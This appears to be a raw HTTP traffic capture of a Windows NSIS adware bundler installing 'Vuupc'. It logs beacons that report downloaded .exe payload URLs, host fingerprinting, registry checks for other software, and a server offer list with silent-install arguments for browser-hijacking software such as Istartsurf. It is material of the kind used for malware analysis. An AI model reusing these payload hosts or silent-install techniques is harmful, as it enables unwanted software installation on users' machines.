POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 115

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"4960\",\"channel_id\": \"\", \"utm_addition\":\"v=2\"}"}
HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Sun, 06 Sep 2015 22:58:36 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive
{"Status":"OK"}....


POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 115

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"4961\",\"channel_id\": \"\", \"utm_addition\":\"v=2\"}"}
HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Sun, 06 Sep 2015 22:58:36 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive
{"Status":"OK"}..

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 115

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1726\",\"channel_id\": \"\", \"utm_addition\":\"v=2\"}"}
HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Sun, 06 Sep 2015 22:58:36 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive
{"Status":"OK"}....


POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 126

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1727\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"tst=&v=2\"}"}
HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Sun, 06 Sep 2015 22:58:37 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Sun, 06 Sep 2015 22:58
:37 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 177

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1722\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://d2fpsq9kg43yka.cloudfront.net/cmmdWriter.exe&v=2\"}"}
HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Sun, 06 Sep 2015 22:58:38 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Sun, 06 Sep 2015 22:58
:38 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 190

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1723\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://d2fpsq9kg43yka.cloudfront.net/cmmdWriter.exe&errorlevel=0&v=2\"}"}
HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Sun, 06 Sep 2015 22:58:38 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Sun, 06 Sep 2015 22:58
:38 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 181

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1722\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://livestatscounter.com/SysInfo/validator/timer.php&v=2\"}"}
HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Sun, 06 Sep 2015 22:58:38 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Sun, 06 Sep 2015 22:58
:38 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 194

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1723\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://livestatscounter.com/SysInfo/validator/timer.php&errorlevel=0&v=2\"}"}
HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Sun, 06 Sep 2015 22:58:39 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Sun, 06 Sep 2015 22:58
:39 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 183

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1722\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://dl.staticclientstorage.com/69/all/cp/row/setup.exe&v=2\"}"}
HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Sun, 06 Sep 2015 22:58:40 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Sun, 06 Sep 2015 22:58
:40 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 196

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1723\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://dl.staticclientstorage.com/69/all/cp/row/setup.exe&errorlevel=0&v=2\"}"}
HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Sun, 06 Sep 2015 22:58:41 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Sun, 06 Sep 2015 22:58
:41 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 199

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1722\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://d16hr9n7t75k58.cloudfront.net/36e0f22eacad857de2cd3b76aedc24a7.exe&v=2\"}"}
HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Sun, 06 Sep 2015 22:58:42 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Sun, 06 Sep 2015 22:58
:42 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 212

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1723\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://d16hr9n7t75k58.cloudfront.net/36e0f22eacad857de2cd3b76aedc24a7.exe&errorlevel=0&v=2\"}"}
HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Sun, 06 Sep 2015 22:58:42 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Sun, 06 Sep 2015 22:58
:42 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 189

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1722\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXps://s3.amazonaws.com/cf_vopackage/SysInfo/SearchUpdater.exe&v=2\"}"}
HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Sun, 06 Sep 2015 22:58:43 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive
{"Status":"OK"}....


POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 202

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1723\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXps://s3.amazonaws.com/cf_vopackage/SysInfo/SearchUpdater.exe&errorlevel=0&v=2\"}"}
HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Sun, 06 Sep 2015 22:58:43 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Sun, 06 Sep 2015 22:58
:43 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Or
igin, X-Requested-With, Content-Type, Accept..Access-Control-Allow-Ori
gin: *..Content-Type: text/html; charset=utf-8..Date: Sun, 06 Sep 2015
 22:58:43 GMT..X-Powered-By: Express..Content-Length: 15..Connection: 
keep-alive..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 212

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1723\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://d1mdi78qyff344.cloudfront.net/7121923af824073a25b2b7e6ba0a6e0e.exe&errorlevel=0&v=2\"}"}POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 212

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1723\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://d16hr9n7t75k58.cloudfront.net/df4a6a3ed77e60d6758afca091ca0c1f.exe&errorlevel=0&v=2\"}"}
HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Sun, 06 Sep 2015 22:58:50 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Sun, 06 Sep 2015 22:58
:50 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 212

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1723\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://dl.taxideataxus.com/download/dwn/prq4633/este/re/setup_gmsd_re.exe&errorlevel=0&v=2\"}"}
HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Sun, 06 Sep 2015 22:59:09 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Sun, 06 Sep 2015 22:59
:09 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 170

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1722\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://d10huri5h4o4a3.cloudfront.net/smt.exe&v=2\"}"}
HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Sun, 06 Sep 2015 22:59:10 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Sun, 06 Sep 2015 22:59
:10 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}..

GET /OperaRUnew/Bundle_OperaRUnew.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: VVV.software-forus.com

Connection: Keep-Alive

Cache-Control: no-cache



.5.....GgC4.|.J.3e.../V.C^......fx./[.bzYM!....I....{q.\...Wu......U=.
 ,..or.m...in...T.=...b.>....Wen.x..V....Y.Z.`..N..0..)....E-..T...
T...b.........nZ..8m.h&.."......:...Y.Y.j.......7.&k.N..ceU.......{..9
.R.....V.9........%.....c..*..b,..!.|.......}......W>.....*4.N...q.
.3.......".. .a.m.(*V...wB.Z...$IH.o.<6.K..!%.".!/....>.....b:p,
..#.79..#................?.%...p .....>..AK..g.....*.....O.p.Pi.A..
.. U~.r<,....PV.]..$..q.c./.....S.$.4..O.<w@...Q0....8...Y..):.p
"..=.P@K ...V..vR...c..N......f.G-...'...uVt....N.i..wg~^l.......k{..j
(3..b...........'0$.....0Oz...W....wnr<c.RPkd..M...6..sP......A..O.
.....A....@.....Js.....t'|..6N.....Ek1*)>(M....Xs|..=.?...........r
....L...&... ..>..$....0LI.V..RTx.......qw5v.\..s.k.ki.....q.W....F
.N..S..~.d...&.. 1Hq.ti5...o..z..0.d...X...R.4.... h`>.....$.. .If[
...r2....^..3....*...i..:/.`a....T...}.V.9I.....B.T...O.R......E..N...
T........`U.i.sk....|.......(....T.4.B(.,d.x...R,.XtgS..J.....~.......
......3=-.qR...{'N.6....J^....o..*..g...."........K. ...h.......c-....
..9.Z.$0.....G.o.{.:.N<..b.Bp).,...ka..........0:j.9..B....gh...0..
..>...p]8.)G....{.....rT.........J3.).t.s.%Q..........-.Sj...joa..r
.1... ....z._.7..S...^'.<..J.\.Ymad.....7.....H....g..c;#{c...;|..:
{;.'d..sLQ.j.....""..........(......J..u.>..U3pbT.k..3Gu.2Yt....BO.
:.&......V..7k......-.}......W...2\.J2.a.W..DI. .B....N}FT..ca..r..7..
9...9..\S.Qr..........\V.../u..O..........(W..o6A.O2U.=.eYo.8.w.;..Ga[
. -....:....]....{]y.)`_&..c..z4C...[:.O..\v.Q...].E]r.]._.Rx.....<<< skipped >>>

GET /binsis/get_pre_offering_checks?uid=78E613EC0FD24B388D7E6C851DDC4F6F&v=2.2.2&v1=U2VyaWFsTnVtYmVyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWZXJzaW9uICAgICAgICAgICANDQpWTXdhcmUtNTYgNGQgNzAgMTMgYjYgYzEgMWMgYmQtYjAgMjkgOWEgMWYgNzggZmQgNTUgYTMgIElOVEVMICAtIDYwNDAwMDA&affid=vuupcntmb&sid=vuupculwo&s=0 HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: d3oxtn1x3b8d7i.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: text/xml; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 06 Sep 2015 22:59:13 GMT

Expires: Sun, 06 Sep 2015 20:12:33 GMT

Cache-Control: no-cache

Vary: Accept-Encoding

X-Cache: Miss from cloudfront

Via: 1.1 1fcd1033bfe42d3b0b03eb4bfbf9624a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: kAb47qG1qlzOZrd7ZUULdXky7NgLIl-5xySEeejeq7h_pnyCDJKM0A==
37a0..<?xml version="1.0"?>.<pre_offering_checks><check
 type="registry" return_name="check_4" return_value_type="boolean">
<value_to_check><key>HKCU\Software\Somoto\SDP</key>&
lt;name>uid</name></value_to_check></check><ch
eck type="registry" return_name="check_586" return_value_type="boolean
"><value_to_check><key>HKCU\Software\WebPlayer</key&
gt;<name>AppsHat</name></value_to_check></check&g
t;<check type="registry" return_name="check_1842" return_value_type
="boolean"><value_to_check><key>HKCU\Software\WebPlayer
\AppsHat</key><name>version</name></value_to_chec
k></check><check type="registry" return_name="check_2182" 
return_value_type="boolean"><value_to_check><key>HKLM\S
OFTWARE\Goobzo\YouTube Accelerator</key><name>version</
name></value_to_check></check><check type="registry"
 return_name="check_2246" return_value_type="boolean"><value_to_
check><key>HKLM\SOFTWARE\YTDownloader</key><name>
version</name></value_to_check></check><check typ
e="registry" return_name="check_2450" return_value_type="boolean">&
lt;value_to_check><key>HKLM\SOFTWARE\Microsoft\Windows\Curren
tVersion\Uninstall\HotspotShield</key><name>DisplayName<
;/name></value_to_check></check><check type="registr
y" return_name="check_3850" return_value_type="boolean"><val<<< skipped >>>

POST /binsis/xml?uid=78E613EC0FD24B388D7E6C851DDC4F6F&v=2.2.2&v1=U2VyaWFsTnVtYmVyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWZXJzaW9uICAgICAgICAgICANDQpWTXdhcmUtNTYgNGQgNzAgMTMgYjYgYzEgMWMgYmQtYjAgMjkgOWEgMWYgNzggZmQgNTUgYTMgIElOVEVMICAtIDYwNDAwMDA&affid=vuupcntmb&sid=vuupculwo&s=0 HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Filename: nsn47.tmp

User-Agent: NSIS_Inetc (Mozilla)

Host: d3oxtn1x3b8d7i.cloudfront.net

Content-Length: 8480

Connection: Keep-Alive

Cache-Control: no-cache

installer_data={"uid":"78E613EC0FD24B388D7E6C851DDC4F6F","muid":"9e10bdd7664ab688d1d7f2ab0b148110","affid":"vuupcntmb","sid":"vuupculwo","installerVersion":"2.2.2","osVersion":"5.1.2600 32bit","ieVersion":"6.0.2900.5512","ff_installed":"0","ff_version":"","ff_default_homepage":"not_found","ff_is_default":"0","ie_installed":"1","ie_version":"6.0.2900.5512","ie_default_homepage":"about:blank","ie_is_default":"0","chrome_installed":"0","chrome_version":"","chrome_default_homepage":"not_found","chrome_is_default":"0","opera_installed":"0","opera_version":"","opera_default_homepage":"not_found","opera_is_default":"0","safari_installed":"0","safari_version":"","safari_default_homepage":"not_found","safari_is_default":"0","check_4":"false","check_586":"false","check_1842":"false","check_2182":"false","check_2246":"false","check_2450":"false","check_3850":"false","check_1282":"false","check_1284":"false","check_1522":"false","check_1592":"false","check_1634":"false","check_1788":"false","check_1790":"false
HTTP/1.1 200 OK

Content-Type: text/xml; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 06 Sep 2015 22:59:20 GMT

Vary: Accept-Encoding

Expires: Sun, 06 Sep 2015 20:12:40 GMT

Cache-Control: no-cache

X-Cache: Miss from cloudfront

Via: 1.1 1fcd1033bfe42d3b0b03eb4bfbf9624a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: euTJcqjbD-fHaGi0YiQfAt6_KwmT_b3PqaApIqHCK3MbopKnXIbtHA==
1778..<?xml version="1.0" encoding="windows-1252"?>.<sponsore
d_data><downloader><url>hXXp://sub.spirlymo.com/install
ers/bi_downloader/1441577004706/setup.exe</url><downloadOnIni
t>1</downloadOnInit><args>/silent /initurl hXXp://sub.y
orkshatb.com/downloader/:affid:/:sid:/:uid:? -uid="%UID%" -sid="%Softw
areID%" -affid="¯filiateID%" -muid="%MUID%"</args></downloa
der><offers><offer id="istartsurf"><remote_resources
/><downloader><args>_!delimiter!_ -offerId="%OfferID%" 
-softwareName="Istartsurf"</args></downloader><title>
;Special Offer</title><sub_title>To go along with your Vuu
pc</sub_title><download_url>hXXp://d2drfrdurj6mvo.cloudfro
nt.net/liyan/smt_istartsurf.exe</download_url><execution_argu
ments>-silence -ptid=smt</execution_arguments><options>
<option type="v_space" height="5"/><option type="text" width=
"100"><id>descriptionElement</id><text><decor 
type="text">Make Istartsurf my browser homepage, default search and
 new tab</decor></text></option><option type="v_s
pace" height="5"/><option type="text" width="100"><id>f
ooterElement</id><text><decor type="text">By clickin
g Next you are agreeing to Istartsurf</decor><decor type="lin
k" href="hXXp://VVV.istartsurf.com/license_agreement.html">Terms of
 Use</decor><decor type="text">and</decor><de<<< skipped >>>

GET /crossbrowse/ie/107/ie.zip.001 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: zip.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Sun, 06 Sep 2015 22:58:43 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1441008912"

Last-Modified: Mon, 31 Aug 2015 08:15:12 GMT

Cache-Control: max-age=40537

Content-Length: 8244985

Content-Type: text/plain; charset=UTF-8

X-HW: 1441580323.dop018.am4.t,1441580323.cds046.am4.c
PK........l..G...nd.T.d.T.....chrome.packed.7z7z..'.....T...T.........
....*..F......8%D.cT(g.....,r...E^<5....S$<....Z..*...7&.o.,.a&.
.....%...1..5...m...h..=w.|.a.a.Q.{.<..:..9Q,>n...k.....~..aJ.._
...KD.V...7.>..3....d......)..6.H..RN...:.....FU.!..j...9....L.&.2.
a........ .E.s'T.......vD.z)..}..-.. .&.vF}.$.z.......lw.>..!...'.a
..|...L....09E..Y8^.s.O\..C..%.......d.VD....W..d.'..6%...l.7Gk.<..
I...5...d !......wT...d...H..7v.E.......{.p.]`.......~w84.rj......;...
).q.k..G...........zL...{....>.."........"q..k[.f...F{8...s..c>[
69..|...q].(.S..~..1z..>.!AT&i.}....YJ....\i....o..(...4.5.......h|
.......6.!...4.p[....@.m.. ^&...A..&E..V.]...T=.v]W.l=A=y.T....R.'f...
..60..MR...k...c.1."..jw.7C.N...b....@...@....%..%*!5............iW*y.
.*......E...D....6....3.P....2.....} .'..!...cG.m...Z.]%{.QZ./e.V-C.a.
X.aQ?.....S..1...:.T..C*..hKH....(...aH.r..;..^.l.ikR.X..8..._...^T{B@
..'.tga.3."..<. ...........$c9......... .~)/..%.2{...X&.W.....>.
..bh.L.....U.-.Vf......r..d..9. ..k.'.M...J...v...rU..`3...SWX...G1.`.
...{.....8.~..x..Q...g.._...1.9.......f8..#p..............]...E.(....J
....(H.h..6@'.hc.5....}.1>{..6/.R.....(X.k.<....\.....:p...u..L.
....h...K...vaK./.O........'|...8..2...{..9....."&.......Z..K.eJ..4e..
)v..[...J$.e........5.G......X..@.o.^Y...%....._.n.:...\......H...0,.f
.E...*M.F.f.R.lJ*,...S.....FE*'b.#V.@........a=._.....W... .}.....p.~.
.(>.....E.1k....3k....F..[.T...,N...............Y7.......G[....rH).
E......[.5..K..Q..J#8.-.@.]<eh........2a.c.8...Z....O.....z..2c<<< skipped >>>

GET /cgi-bin/get_protect.cgi?checking=true&version=gmsd_us_233&forceGEO=US HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Accept: */*

User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Host: prof.eorezo.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Sun, 06 Sep 2015 22:58:59 GMT

Server: Apache/2.2.22

x-eorezo-crc32: -1

x-eorezo-crypted: 1

x-eorezo-length: 357

Set-Cookie: conftime=1441580339; expires=Fri, 31 Dec 15 16:45:00 GMT; domain=eorezo.com; path=/;

Set-Cookie: EoRezo=194.242.96.218.1441580339793277; path=/; expires=Tue, 06-Oct-15 22:58:59 GMT

Connection: close

Transfer-Encoding: chunked

Content-Type: text/plain

1ec..Xg8nssf/4H10OdRv/PBlQCyF9RkAzpy/PPG8paJnu rCw3mAaqFpX2 ZKEgbMMA2h
tCshaMIPoMPkSppoNIfvqD ZyWxTIl1LyUx8yWjlHHNhn1WF5uF0H6qLM uZMwkTiGldZX
5iSj uCsroOrbj/qdFgfbU9hmNOF2lZWiRA4D1nmKWD56o30N03aMe cM TaH0Zt8tkkpV
IrV86sjShA2ibI4frmimtvqttCmZq2iOlFsKeYNJxrj/jP12cx2lA7NiBrk4PKXXug7tpK
b65atNqDRlvUKKAF9c9zPzn4F2eh8GAfVbPOtZhSf/o/50RLSfemcISdhtiO8gTINReeSo
YdUAqhmbrscZPjwnJCjKfgrUbQCV1J0DBwv2J mQsGJZQH4xDticU8Aw3zUoh3vFhu1Wg3
CUqlkPjaoTHwm7LcFgkhAy A9qiL9G3nGtxC4eGJD3HM29TeMBpi5wjFtJRirkgPWAr1gn
D hmf0=..0..

GET /crossbrowse/ie/107/ie.zip.005 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: zip.rgbdomsrv.com

Connection: Keep-Alive

